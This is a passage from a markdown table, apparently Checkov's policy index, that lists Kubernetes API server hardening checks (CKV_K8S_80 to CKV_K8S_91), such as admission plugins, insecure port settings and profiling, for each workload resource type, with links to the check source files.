                    |\n| 7247 | CKV_K8S_80               | resource                         | ReplicationController                                                                            | Ensure that the admission control plugin AlwaysPullImages is set                                                                                                                                         | Kubernetes              | [ApiServerAlwaysPullImagesPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAlwaysPullImagesPlugin.py)                                                                |\n| 7248 | CKV_K8S_80               | resource                         | StatefulSet                                                                                      | Ensure that the admission control plugin AlwaysPullImages is set                                                                                                                                         | Kubernetes              | [ApiServerAlwaysPullImagesPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAlwaysPullImagesPlugin.py)                                                                |\n| 7249 | CKV_K8S_81               | resource                         | CronJob                                                                                          | Ensure that the admission control plugin SecurityContextDeny is set if PodSecurityPolicy is not used                                                                                                     | Kubernetes              | [ApiServerSecurityContextDenyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurityContextDenyPlugin.py)                                                          |\n| 7250 | CKV_K8S_81               | resource                         | DaemonSet                                                                                        | Ensure that the admission control plugin SecurityContextDeny is set if PodSecurityPolicy is not used                                                                                                     | Kubernetes              | [ApiServerSecurityContextDenyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurityContextDenyPlugin.py)                                                          |\n| 7251 | CKV_K8S_81               | resource                         | Deployment                                                                                       | Ensure that the admission control plugin SecurityContextDeny is set if PodSecurityPolicy is not used                                                                                                     | Kubernetes              | [ApiServerSecurityContextDenyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurityContextDenyPlugin.py)                                                          |\n| 7252 | CKV_K8S_81               | resource                         | DeploymentConfig                                                                                 | Ensure that the admission control plugin SecurityContextDeny is set if PodSecurityPolicy is not used                                                                                                     | Kubernetes              | [ApiServerSecurityContextDenyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurityContextDenyPlugin.py)                                                          |\n| 7253 | CKV_K8S_81               | resource                         | Job                                                                                              | Ensure that the admission control plugin SecurityContextDeny is set if PodSecurityPolicy is not used                                                                                                     | Kubernetes              | [ApiServerSecurityContextDenyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurityContextDenyPlugin.py)                                                          |\n| 7254 | CKV_K8S_81               | resource                         | Pod                                                                                              | Ensure that the admission control plugin SecurityContextDeny is set if PodSecurityPolicy is not used                                                                                                     | Kubernetes              | [ApiServerSecurityContextDenyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurityContextDenyPlugin.py)                                                          |\n| 7255 | CKV_K8S_81               | resource                         | PodTemplate                                                                                      | Ensure that the admission control plugin SecurityContextDeny is set if PodSecurityPolicy is not used                                                                                                     | Kubernetes              | [ApiServerSecurityContextDenyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurityContextDenyPlugin.py)                                                          |\n| 7256 | CKV_K8S_81               | resource                         | ReplicaSet                                                                                       | Ensure that the admission control plugin SecurityContextDeny is set if PodSecurityPolicy is not used                                                                                                     | Kubernetes              | [ApiServerSecurityContextDenyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurityContextDenyPlugin.py)                                                          |\n| 7257 | CKV_K8S_81               | resource                         | ReplicationController                                                                            | Ensure that the admission control plugin SecurityContextDeny is set if PodSecurityPolicy is not used                                                                                                     | Kubernetes              | [ApiServerSecurityContextDenyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurityContextDenyPlugin.py)                                                          |\n| 7258 | CKV_K8S_81               | resource                         | StatefulSet                                                                                      | Ensure that the admission control plugin SecurityContextDeny is set if PodSecurityPolicy is not used                                                                                                     | Kubernetes              | [ApiServerSecurityContextDenyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurityContextDenyPlugin.py)                                                          |\n| 7259 | CKV_K8S_82               | resource                         | CronJob                                                                                          | Ensure that the admission control plugin ServiceAccount is set                                                                                                                                           | Kubernetes              | [ApiServerServiceAccountPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountPlugin.py)                                                                    |\n| 7260 | CKV_K8S_82               | resource                         | DaemonSet                                                                                        | Ensure that the admission control plugin ServiceAccount is set                                                                                                                                           | Kubernetes              | [ApiServerServiceAccountPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountPlugin.py)                                                                    |\n| 7261 | CKV_K8S_82               | resource                         | Deployment                                                                                       | Ensure that the admission control plugin ServiceAccount is set                                                                                                                                           | Kubernetes              | [ApiServerServiceAccountPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountPlugin.py)                                                                    |\n| 7262 | CKV_K8S_82               | resource                         | DeploymentConfig                                                                                 | Ensure that the admission control plugin ServiceAccount is set                                                                                                                                           | Kubernetes              | [ApiServerServiceAccountPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountPlugin.py)                                                                    |\n| 7263 | CKV_K8S_82               | resource                         | Job                                                                                              | Ensure that the admission control plugin ServiceAccount is set                                                                                                                                           | Kubernetes              | [ApiServerServiceAccountPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountPlugin.py)                                                                    |\n| 7264 | CKV_K8S_82               | resource                         | Pod                                                                                              | Ensure that the admission control plugin ServiceAccount is set                                                                                                                                           | Kubernetes              | [ApiServerServiceAccountPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountPlugin.py)                                                                    |\n| 7265 | CKV_K8S_82               | resource                         | PodTemplate                                                                                      | Ensure that the admission control plugin ServiceAccount is set                                                                                                                                           | Kubernetes              | [ApiServerServiceAccountPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountPlugin.py)                                                                    |\n| 7266 | CKV_K8S_82               | resource                         | ReplicaSet                                                                                       | Ensure that the admission control plugin ServiceAccount is set                                                                                                                                           | Kubernetes              | [ApiServerServiceAccountPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountPlugin.py)                                                                    |\n| 7267 | CKV_K8S_82               | resource                         | ReplicationController                                                                            | Ensure that the admission control plugin ServiceAccount is set                                                                                                                                           | Kubernetes              | [ApiServerServiceAccountPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountPlugin.py)                                                                    |\n| 7268 | CKV_K8S_82               | resource                         | StatefulSet                                                                                      | Ensure that the admission control plugin ServiceAccount is set                                                                                                                                           | Kubernetes              | [ApiServerServiceAccountPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerServiceAccountPlugin.py)                                                                    |\n| 7269 | CKV_K8S_83               | resource                         | CronJob                                                                                          | Ensure that the admission control plugin NamespaceLifecycle is set                                                                                                                                       | Kubernetes              | [ApiServerNamespaceLifecyclePlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNamespaceLifecyclePlugin.py)                                                            |\n| 7270 | CKV_K8S_83               | resource                         | DaemonSet                                                                                        | Ensure that the admission control plugin NamespaceLifecycle is set                                                                                                                                       | Kubernetes              | [ApiServerNamespaceLifecyclePlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNamespaceLifecyclePlugin.py)                                                            |\n| 7271 | CKV_K8S_83               | resource                         | Deployment                                                                                       | Ensure that the admission control plugin NamespaceLifecycle is set                                                                                                                                       | Kubernetes              | [ApiServerNamespaceLifecyclePlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNamespaceLifecyclePlugin.py)                                                            |\n| 7272 | CKV_K8S_83               | resource                         | DeploymentConfig                                                                                 | Ensure that the admission control plugin NamespaceLifecycle is set                                                                                                                                       | Kubernetes              | [ApiServerNamespaceLifecyclePlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNamespaceLifecyclePlugin.py)                                                            |\n| 7273 | CKV_K8S_83               | resource                         | Job                                                                                              | Ensure that the admission control plugin NamespaceLifecycle is set                                                                                                                                       | Kubernetes              | [ApiServerNamespaceLifecyclePlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNamespaceLifecyclePlugin.py)                                                            |\n| 7274 | CKV_K8S_83               | resource                         | Pod                                                                                              | Ensure that the admission control plugin NamespaceLifecycle is set                                                                                                                                       | Kubernetes              | [ApiServerNamespaceLifecyclePlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNamespaceLifecyclePlugin.py)                                                            |\n| 7275 | CKV_K8S_83               | resource                         | PodTemplate                                                                                      | Ensure that the admission control plugin NamespaceLifecycle is set                                                                                                                                       | Kubernetes              | [ApiServerNamespaceLifecyclePlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNamespaceLifecyclePlugin.py)                                                            |\n| 7276 | CKV_K8S_83               | resource                         | ReplicaSet                                                                                       | Ensure that the admission control plugin NamespaceLifecycle is set                                                                                                                                       | Kubernetes              | [ApiServerNamespaceLifecyclePlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNamespaceLifecyclePlugin.py)                                                            |\n| 7277 | CKV_K8S_83               | resource                         | ReplicationController                                                                            | Ensure that the admission control plugin NamespaceLifecycle is set                                                                                                                                       | Kubernetes              | [ApiServerNamespaceLifecyclePlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNamespaceLifecyclePlugin.py)                                                            |\n| 7278 | CKV_K8S_83               | resource                         | StatefulSet                                                                                      | Ensure that the admission control plugin NamespaceLifecycle is set                                                                                                                                       | Kubernetes              | [ApiServerNamespaceLifecyclePlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNamespaceLifecyclePlugin.py)                                                            |\n| 7279 | CKV_K8S_84               | resource                         | CronJob                                                                                          | Ensure that the admission control plugin PodSecurityPolicy is set                                                                                                                                        | Kubernetes              | [ApiServerPodSecurityPolicyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerPodSecurityPolicyPlugin.py)                                                              |\n| 7280 | CKV_K8S_84               | resource                         | DaemonSet                                                                                        | Ensure that the admission control plugin PodSecurityPolicy is set                                                                                                                                        | Kubernetes              | [ApiServerPodSecurityPolicyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerPodSecurityPolicyPlugin.py)                                                              |\n| 7281 | CKV_K8S_84               | resource                         | Deployment                                                                                       | Ensure that the admission control plugin PodSecurityPolicy is set                                                                                                                                        | Kubernetes              | [ApiServerPodSecurityPolicyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerPodSecurityPolicyPlugin.py)                                                              |\n| 7282 | CKV_K8S_84               | resource                         | DeploymentConfig                                                                                 | Ensure that the admission control plugin PodSecurityPolicy is set                                                                                                                                        | Kubernetes              | [ApiServerPodSecurityPolicyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerPodSecurityPolicyPlugin.py)                                                              |\n| 7283 | CKV_K8S_84               | resource                         | Job                                                                                              | Ensure that the admission control plugin PodSecurityPolicy is set                                                                                                                                        | Kubernetes              | [ApiServerPodSecurityPolicyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerPodSecurityPolicyPlugin.py)                                                              |\n| 7284 | CKV_K8S_84               | resource                         | Pod                                                                                              | Ensure that the admission control plugin PodSecurityPolicy is set                                                                                                                                        | Kubernetes              | [ApiServerPodSecurityPolicyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerPodSecurityPolicyPlugin.py)                                                              |\n| 7285 | CKV_K8S_84               | resource                         | PodTemplate                                                                                      | Ensure that the admission control plugin PodSecurityPolicy is set                                                                                                                                        | Kubernetes              | [ApiServerPodSecurityPolicyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerPodSecurityPolicyPlugin.py)                                                              |\n| 7286 | CKV_K8S_84               | resource                         | ReplicaSet                                                                                       | Ensure that the admission control plugin PodSecurityPolicy is set                                                                                                                                        | Kubernetes              | [ApiServerPodSecurityPolicyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerPodSecurityPolicyPlugin.py)                                                              |\n| 7287 | CKV_K8S_84               | resource                         | ReplicationController                                                                            | Ensure that the admission control plugin PodSecurityPolicy is set                                                                                                                                        | Kubernetes              | [ApiServerPodSecurityPolicyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerPodSecurityPolicyPlugin.py)                                                              |\n| 7288 | CKV_K8S_84               | resource                         | StatefulSet                                                                                      | Ensure that the admission control plugin PodSecurityPolicy is set                                                                                                                                        | Kubernetes              | [ApiServerPodSecurityPolicyPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerPodSecurityPolicyPlugin.py)                                                              |\n| 7289 | CKV_K8S_85               | resource                         | CronJob                                                                                          | Ensure that the admission control plugin NodeRestriction is set                                                                                                                                          | Kubernetes              | [ApiServerNodeRestrictionPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNodeRestrictionPlugin.py)                                                                  |\n| 7290 | CKV_K8S_85               | resource                         | DaemonSet                                                                                        | Ensure that the admission control plugin NodeRestriction is set                                                                                                                                          | Kubernetes              | [ApiServerNodeRestrictionPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNodeRestrictionPlugin.py)                                                                  |\n| 7291 | CKV_K8S_85               | resource                         | Deployment                                                                                       | Ensure that the admission control plugin NodeRestriction is set                                                                                                                                          | Kubernetes              | [ApiServerNodeRestrictionPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNodeRestrictionPlugin.py)                                                                  |\n| 7292 | CKV_K8S_85               | resource                         | DeploymentConfig                                                                                 | Ensure that the admission control plugin NodeRestriction is set                                                                                                                                          | Kubernetes              | [ApiServerNodeRestrictionPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNodeRestrictionPlugin.py)                                                                  |\n| 7293 | CKV_K8S_85               | resource                         | Job                                                                                              | Ensure that the admission control plugin NodeRestriction is set                                                                                                                                          | Kubernetes              | [ApiServerNodeRestrictionPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNodeRestrictionPlugin.py)                                                                  |\n| 7294 | CKV_K8S_85               | resource                         | Pod                                                                                              | Ensure that the admission control plugin NodeRestriction is set                                                                                                                                          | Kubernetes              | [ApiServerNodeRestrictionPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNodeRestrictionPlugin.py)                                                                  |\n| 7295 | CKV_K8S_85               | resource                         | PodTemplate                                                                                      | Ensure that the admission control plugin NodeRestriction is set                                                                                                                                          | Kubernetes              | [ApiServerNodeRestrictionPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNodeRestrictionPlugin.py)                                                                  |\n| 7296 | CKV_K8S_85               | resource                         | ReplicaSet                                                                                       | Ensure that the admission control plugin NodeRestriction is set                                                                                                                                          | Kubernetes              | [ApiServerNodeRestrictionPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNodeRestrictionPlugin.py)                                                                  |\n| 7297 | CKV_K8S_85               | resource                         | ReplicationController                                                                            | Ensure that the admission control plugin NodeRestriction is set                                                                                                                                          | Kubernetes              | [ApiServerNodeRestrictionPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNodeRestrictionPlugin.py)                                                                  |\n| 7298 | CKV_K8S_85               | resource                         | StatefulSet                                                                                      | Ensure that the admission control plugin NodeRestriction is set                                                                                                                                          | Kubernetes              | [ApiServerNodeRestrictionPlugin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerNodeRestrictionPlugin.py)                                                                  |\n| 7299 | CKV_K8S_86               | resource                         | CronJob                                                                                          | Ensure that the --insecure-bind-address argument is not set                                                                                                                                              | Kubernetes              | [ApiServerInsecureBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecureBindAddress.py)                                                                      |\n| 7300 | CKV_K8S_86               | resource                         | DaemonSet                                                                                        | Ensure that the --insecure-bind-address argument is not set                                                                                                                                              | Kubernetes              | [ApiServerInsecureBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecureBindAddress.py)                                                                      |\n| 7301 | CKV_K8S_86               | resource                         | Deployment                                                                                       | Ensure that the --insecure-bind-address argument is not set                                                                                                                                              | Kubernetes              | [ApiServerInsecureBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecureBindAddress.py)                                                                      |\n| 7302 | CKV_K8S_86               | resource                         | DeploymentConfig                                                                                 | Ensure that the --insecure-bind-address argument is not set                                                                                                                                              | Kubernetes              | [ApiServerInsecureBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecureBindAddress.py)                                                                      |\n| 7303 | CKV_K8S_86               | resource                         | Job                                                                                              | Ensure that the --insecure-bind-address argument is not set                                                                                                                                              | Kubernetes              | [ApiServerInsecureBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecureBindAddress.py)                                                                      |\n| 7304 | CKV_K8S_86               | resource                         | Pod                                                                                              | Ensure that the --insecure-bind-address argument is not set                                                                                                                                              | Kubernetes              | [ApiServerInsecureBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecureBindAddress.py)                                                                      |\n| 7305 | CKV_K8S_86               | resource                         | PodTemplate                                                                                      | Ensure that the --insecure-bind-address argument is not set                                                                                                                                              | Kubernetes              | [ApiServerInsecureBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecureBindAddress.py)                                                                      |\n| 7306 | CKV_K8S_86               | resource                         | ReplicaSet                                                                                       | Ensure that the --insecure-bind-address argument is not set                                                                                                                                              | Kubernetes              | [ApiServerInsecureBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecureBindAddress.py)                                                                      |\n| 7307 | CKV_K8S_86               | resource                         | ReplicationController                                                                            | Ensure that the --insecure-bind-address argument is not set                                                                                                                                              | Kubernetes              | [ApiServerInsecureBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecureBindAddress.py)                                                                      |\n| 7308 | CKV_K8S_86               | resource                         | StatefulSet                                                                                      | Ensure that the --insecure-bind-address argument is not set                                                                                                                                              | Kubernetes              | [ApiServerInsecureBindAddress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecureBindAddress.py)                                                                      |\n| 7309 | CKV_K8S_88               | resource                         | CronJob                                                                                          | Ensure that the --insecure-port argument is set to 0                                                                                                                                                     | Kubernetes              | [ApiServerInsecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecurePort.py)                                                                                    |\n| 7310 | CKV_K8S_88               | resource                         | DaemonSet                                                                                        | Ensure that the --insecure-port argument is set to 0                                                                                                                                                     | Kubernetes              | [ApiServerInsecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecurePort.py)                                                                                    |\n| 7311 | CKV_K8S_88               | resource                         | Deployment                                                                                       | Ensure that the --insecure-port argument is set to 0                                                                                                                                                     | Kubernetes              | [ApiServerInsecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecurePort.py)                                                                                    |\n| 7312 | CKV_K8S_88               | resource                         | DeploymentConfig                                                                                 | Ensure that the --insecure-port argument is set to 0                                                                                                                                                     | Kubernetes              | [ApiServerInsecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecurePort.py)                                                                                    |\n| 7313 | CKV_K8S_88               | resource                         | Job                                                                                              | Ensure that the --insecure-port argument is set to 0                                                                                                                                                     | Kubernetes              | [ApiServerInsecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecurePort.py)                                                                                    |\n| 7314 | CKV_K8S_88               | resource                         | Pod                                                                                              | Ensure that the --insecure-port argument is set to 0                                                                                                                                                     | Kubernetes              | [ApiServerInsecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecurePort.py)                                                                                    |\n| 7315 | CKV_K8S_88               | resource                         | PodTemplate                                                                                      | Ensure that the --insecure-port argument is set to 0                                                                                                                                                     | Kubernetes              | [ApiServerInsecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecurePort.py)                                                                                    |\n| 7316 | CKV_K8S_88               | resource                         | ReplicaSet                                                                                       | Ensure that the --insecure-port argument is set to 0                                                                                                                                                     | Kubernetes              | [ApiServerInsecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecurePort.py)                                                                                    |\n| 7317 | CKV_K8S_88               | resource                         | ReplicationController                                                                            | Ensure that the --insecure-port argument is set to 0                                                                                                                                                     | Kubernetes              | [ApiServerInsecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecurePort.py)                                                                                    |\n| 7318 | CKV_K8S_88               | resource                         | StatefulSet                                                                                      | Ensure that the --insecure-port argument is set to 0                                                                                                                                                     | Kubernetes              | [ApiServerInsecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerInsecurePort.py)                                                                                    |\n| 7319 | CKV_K8S_89               | resource                         | CronJob                                                                                          | Ensure that the --secure-port argument is not set to 0                                                                                                                                                   | Kubernetes              | [ApiServerSecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurePort.py)                                                                                        |\n| 7320 | CKV_K8S_89               | resource                         | DaemonSet                                                                                        | Ensure that the --secure-port argument is not set to 0                                                                                                                                                   | Kubernetes              | [ApiServerSecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurePort.py)                                                                                        |\n| 7321 | CKV_K8S_89               | resource                         | Deployment                                                                                       | Ensure that the --secure-port argument is not set to 0                                                                                                                                                   | Kubernetes              | [ApiServerSecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurePort.py)                                                                                        |\n| 7322 | CKV_K8S_89               | resource                         | DeploymentConfig                                                                                 | Ensure that the --secure-port argument is not set to 0                                                                                                                                                   | Kubernetes              | [ApiServerSecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurePort.py)                                                                                        |\n| 7323 | CKV_K8S_89               | resource                         | Job                                                                                              | Ensure that the --secure-port argument is not set to 0                                                                                                                                                   | Kubernetes              | [ApiServerSecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurePort.py)                                                                                        |\n| 7324 | CKV_K8S_89               | resource                         | Pod                                                                                              | Ensure that the --secure-port argument is not set to 0                                                                                                                                                   | Kubernetes              | [ApiServerSecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurePort.py)                                                                                        |\n| 7325 | CKV_K8S_89               | resource                         | PodTemplate                                                                                      | Ensure that the --secure-port argument is not set to 0                                                                                                                                                   | Kubernetes              | [ApiServerSecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurePort.py)                                                                                        |\n| 7326 | CKV_K8S_89               | resource                         | ReplicaSet                                                                                       | Ensure that the --secure-port argument is not set to 0                                                                                                                                                   | Kubernetes              | [ApiServerSecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurePort.py)                                                                                        |\n| 7327 | CKV_K8S_89               | resource                         | ReplicationController                                                                            | Ensure that the --secure-port argument is not set to 0                                                                                                                                                   | Kubernetes              | [ApiServerSecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurePort.py)                                                                                        |\n| 7328 | CKV_K8S_89               | resource                         | StatefulSet                                                                                      | Ensure that the --secure-port argument is not set to 0                                                                                                                                                   | Kubernetes              | [ApiServerSecurePort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerSecurePort.py)                                                                                        |\n| 7329 | CKV_K8S_90               | resource                         | CronJob                                                                                          | Ensure that the --profiling argument is set to false                                                                                                                                                     | Kubernetes              | [ApiServerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerProfiling.py)                                                                                          |\n| 7330 | CKV_K8S_90               | resource                         | DaemonSet                                                                                        | Ensure that the --profiling argument is set to false                                                                                                                                                     | Kubernetes              | [ApiServerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerProfiling.py)                                                                                          |\n| 7331 | CKV_K8S_90               | resource                         | Deployment                                                                                       | Ensure that the --profiling argument is set to false                                                                                                                                                     | Kubernetes              | [ApiServerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerProfiling.py)                                                                                          |\n| 7332 | CKV_K8S_90               | resource                         | DeploymentConfig                                                                                 | Ensure that the --profiling argument is set to false                                                                                                                                                     | Kubernetes              | [ApiServerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerProfiling.py)                                                                                          |\n| 7333 | CKV_K8S_90               | resource                         | Job                                                                                              | Ensure that the --profiling argument is set to false                                                                                                                                                     | Kubernetes              | [ApiServerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerProfiling.py)                                                                                          |\n| 7334 | CKV_K8S_90               | resource                         | Pod                                                                                              | Ensure that the --profiling argument is set to false                                                                                                                                                     | Kubernetes              | [ApiServerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerProfiling.py)                                                                                          |\n| 7335 | CKV_K8S_90               | resource                         | PodTemplate                                                                                      | Ensure that the --profiling argument is set to false                                                                                                                                                     | Kubernetes              | [ApiServerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerProfiling.py)                                                                                          |\n| 7336 | CKV_K8S_90               | resource                         | ReplicaSet                                                                                       | Ensure that the --profiling argument is set to false                                                                                                                                                     | Kubernetes              | [ApiServerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerProfiling.py)                                                                                          |\n| 7337 | CKV_K8S_90               | resource                         | ReplicationController                                                                            | Ensure that the --profiling argument is set to false                                                                                                                                                     | Kubernetes              | [ApiServerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerProfiling.py)                                                                                          |\n| 7338 | CKV_K8S_90               | resource                         | StatefulSet                                                                                      | Ensure that the --profiling argument is set to false                                                                                                                                                     | Kubernetes              | [ApiServerProfiling.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerProfiling.py)                                                                                          |\n| 7339 | CKV_K8S_91               | resource                         | CronJob                                                                                          | Ensure that the --audit-log-path argument is set                                                                                                                                                         | Kubernetes              | 